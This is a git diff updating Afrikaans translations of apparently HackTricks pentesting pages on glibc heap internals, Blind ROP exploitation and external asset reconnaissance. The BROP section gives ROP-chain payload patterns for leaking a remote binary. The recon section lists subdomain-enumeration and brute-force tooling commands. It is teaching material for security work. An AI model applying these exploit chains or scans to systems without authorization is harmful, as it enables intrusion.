Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
|
@ -197,6 +197,7 @@
|
|||
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
|
||||
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
|
||||
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
|
||||
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
|
||||
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
|
||||
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
|
||||
* [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Heap Basics
|
||||
|
||||
Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanvra deur funksies soos **`malloc`**, `calloc`... Boonop, wanneer hierdie geheue nie meer nodig is nie, word dit beskikbaar gemaak deur die funksie **`free`** aan te roep.
|
||||
Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanroep deur funksies soos **`malloc`**, `calloc`... Boonop, wanneer hierdie geheue nie meer nodig is nie, word dit beskikbaar gemaak deur die funksie **`free`** aan te roep.
|
||||
|
||||
Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[heap]` afdeling):
|
||||
|
||||
|
@ -10,28 +10,28 @@ Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[hea
|
|||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Wanneer sekere data aangevra word om in die heap gestoor te word, word 'n stuk ruimte in die heap aan dit toegeken. Hierdie ruimte sal aan 'n bin behoort en slegs die aangevraagde data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit ingewikkeld te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vry chunk is.
|
||||
Wanneer daar data aangevra word om in die heap gestoor te word, word 'n stuk van die heap aan dit toegeken. Hierdie ruimte behoort aan 'n bin en slegs die aangevraagde data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit ingewikkeld te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vry chunk is.
|
||||
|
||||
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
|
||||
|
||||
* Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
|
||||
* As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
|
||||
* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res aan die chunks lys bygevoeg sal word.
|
||||
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, sal die heap bestuurder 'n nuwe chunk skep.
|
||||
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en dan hierdie geheue te gebruik om die nuwe chunk te genereer.
|
||||
* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res sal by die chunks lys gevoeg word.
|
||||
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
|
||||
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
|
||||
* As alles misluk, keer `malloc` null terug.
|
||||
|
||||
Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te kaart.
|
||||
|
||||
## Arenas
|
||||
|
||||
In **multithreaded** toepassings moet die heap bestuurder **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
|
||||
In **multithreaded** toepassings moet die heap bestuurder **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasieprobleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
|
||||
|
||||
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie threads toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
|
||||
|
||||
Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe indien nodig, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bit stelsels en 8 keer vir 64-bit stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
|
||||
Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bit stelsels en 8 keer vir 64-bit stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
|
||||
|
||||
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag te simuleer, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
|
||||
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
|
||||
|
||||
### Subheaps
|
||||
|
||||
|
@ -50,7 +50,7 @@ Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassi
|
|||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Hierdie struct allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struct sal ook daardie inligting stoor.
|
||||
Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struktuur sal ook daardie inligting stoor.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -87,8 +87,8 @@ Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode
|
|||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
|
||||
* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwaartse pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** sal jy 'n pointer na die struktuur in die **libc** hê.
|
||||
* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is gekoppelde lyste van arenas
|
||||
* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
|
||||
* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
|
||||
* Die `top` chunk is die laaste "chunk", wat basies **al die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
|
||||
* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer oorblywende deel word hier geplaas.
|
||||
```c
|
||||
|
@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
|
|||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:
|
||||
Soos voorheen opgemerk, het hierdie stukke ook 'n paar metadata, baie goed voorgestel in hierdie beeld:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
|
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Let wel, vir die berekening van die totale ruimte wat nodig is, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
|
||||
Let op dat vir die berekening van die totale ruimte wat nodig is, `SIZE_SZ` slegs 1 keer bygevoeg word omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
|
||||
|
||||
### Kry Chunk data en verander metadata
|
||||
|
||||
|
@ -412,9 +412,9 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
|
||||
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kontroleer, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
|
||||
|
||||
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
|
||||
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bis masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
|
@ -470,11 +470,11 @@ return 0;
|
|||
|
||||
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
en binne dit kan 'n paar chunks gevind word:
|
||||
|
||||
|
|
|
@ -35,13 +35,13 @@ Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Can
|
|||
|
||||
### **4. Vind die stop gadget**
|
||||
|
||||
Hierdie gadget laat basies toe om te bevestig dat iets interessant uitgevoer is deur die ROP gadget omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is geposisioneer aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
|
||||
Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
|
||||
|
||||
### **5. Vind BROP gadget**
|
||||
|
||||
Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Hierdie sou die gadgets wees:
|
||||
|
||||
|
@ -52,11 +52,11 @@ Let op hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie
|
|||
|
||||
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
|
||||
|
||||
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
|
||||
|
||||
Om hierdie **laaste opsie te verwyder** word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
|
||||
Om hierdie **laaste opsie te verwyder**, word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
|
@ -101,12 +101,12 @@ Onthou dat:
|
|||
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 in te stel.
|
||||
|
||||
{% hint style="success" %}
|
||||
Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
|
||||
Let daarop dat `rdx` gewoonlik reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
|
||||
{% endhint %}
|
||||
|
||||
### 8. Vind Write of gelykwaardig
|
||||
|
||||
Laastens, is 'n gadget nodig wat data uitvlek om die binêre uit te vlek. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
|
||||
Laastens, is 'n gadget nodig wat data eksterneer om die binêre te eksterneer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
|
||||
|
||||
Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
|
||||
|
||||
|
@ -116,15 +116,15 @@ Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
|
|||
|
||||
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
|
||||
|
||||
Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is** nie en ons weet nie **'n fd nommer om die data na ons socket te stuur** nie.
|
||||
Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons socket te stuur nie**.
|
||||
|
||||
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
|
||||
|
||||
Gedrag handtekeninge om daardie funksies te vind:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is puts gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is dprintf gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is write gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan was puts gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan was dprintf gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan was write gevind
|
||||
|
||||
## Outomatiese Exploitatie
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,16 +27,16 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur
|
|||
|
||||
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
|
||||
|
||||
1. Vind die verkopings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
|
||||
1. Vind die verkrygings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
|
||||
2. Vind die ASN (indien enige) van elke maatskappy, dit sal ons die IP-reekse wat deur elke maatskappy besit word, gee.
|
||||
3. Gebruik omgekeerde whois soektogte om ander inskrywings (organisasie name, domeine...) wat verband hou met die eerste een te soek (dit kan herhalend gedoen word).
|
||||
4. Gebruik ander tegnieke soos shodan `org` en `ssl` filters om ander bates te soek (die `ssl` truuk kan herhalend gedoen word).
|
||||
|
||||
### **Verkopenings**
|
||||
### **Verkrygings**
|
||||
|
||||
Eerstens moet ons weet watter **ander maatskappye deur die hoofmaatskappy besit word**.\
|
||||
Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te besoek, **soek** na die **hoofmaatskappy**, en **klik** op "**verkopenings**". Daar sal jy ander maatskappye sien wat deur die hoof een verkry is.\
|
||||
'n Ander opsie is om die **Wikipedia** bladsy van die hoofmaatskappy te besoek en te soek na **verkopenings**.
|
||||
Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te besoek, **soek** na die **hoofmaatskappy**, en **klik** op "**verkrygings**". Daar sal jy ander maatskappye sien wat deur die hoof een verkry is.\
|
||||
'n Ander opsie is om die **Wikipedia** bladsy van die hoofmaatskappy te besoek en te soek na **verkrygings**.
|
||||
|
||||
> Goed, op hierdie punt behoort jy al die maatskappye binne die omvang te ken. Kom ons kyk hoe om hul bates te vind.
|
||||
|
||||
|
@ -75,9 +75,9 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
|
|||
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer bekendstellings.\
|
||||
Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **uitvoer of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
|
||||
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
|
||||
Ook, jy kan 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of gebruik dienste soos** shodan **om** oop poorte **te vind en afhangende van wat jy vind, moet jy** kyk in hierdie boek oor hoe om verskeie moontlike dienste wat loop, te pentest.\
|
||||
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** brute force dienste met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeine
|
||||
|
||||
|
@ -87,9 +87,9 @@ _Please, let daarop dat jy in die volgende voorgestelde tegnieke ook subdomeine
|
|||
|
||||
Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld, vir _Tesla Inc._ gaan dit _tesla.com_ wees.
|
||||
|
||||
### **Omgekeerde DNS**
|
||||
### **Reverse DNS**
|
||||
|
||||
Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **omgekeerde dns-opsoeke** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-bediener van die slagoffer of 'n bekende dns-bediener (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns opsoekings** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns bediener van die slagoffer of 'n bekende dns bediener (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -101,7 +101,7 @@ You can also use a online tool for this info: [http://ptrarchive.com/](http://pt
|
|||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
Binne 'n **whois** kan jy 'n baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
|
||||
Inside a **whois** you can find a lot of interesting **information** like **organisasie naam**, **adres**, **e-pos**, telefoon nommers... Maar wat nog meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
|
||||
You can use online tools like:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
||||
|
@ -119,8 +119,8 @@ You can also perform some automatic reverse whois discovery with [amass](https:/
|
|||
|
||||
### **Trackers**
|
||||
|
||||
As jy die **dieselfde ID van die dieselfde tracker** in 2 verskillende bladsye vind, kan jy aanvaar dat **albei bladsye** **deur dieselfde span bestuur word**.\
|
||||
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
|
||||
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
|
||||
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
|
||||
|
||||
There are some pages and tools that let you search by these trackers and more:
|
||||
|
||||
|
@ -132,7 +132,7 @@ There are some pages and tools that let you search by these trackers and more:
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Het jy geweet dat ons verwante domeine en subdomeine aan ons teiken kan vind deur te soek na dieselfde favicon ikoon hash? Dit is presies wat die [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hulpmiddel gemaak deur [@m4ll0k2](https://twitter.com/m4ll0k2) doen. Hier is hoe om dit te gebruik:
|
||||
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -366,11 +366,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Hierdie een gebruik ek dink net 1 resolver
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Hierdie een gebruik glo net 1 resolver
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine op te los met wildcard hantering en maklike invoer-uitvoer ondersteuning.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine met wildcard hantering en maklike invoer-uitvoer ondersteuning op te los.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -391,7 +391,7 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies.
|
||||
* Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry.
|
||||
* Jy kan goaltdns permutasies **woordlys** kry [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
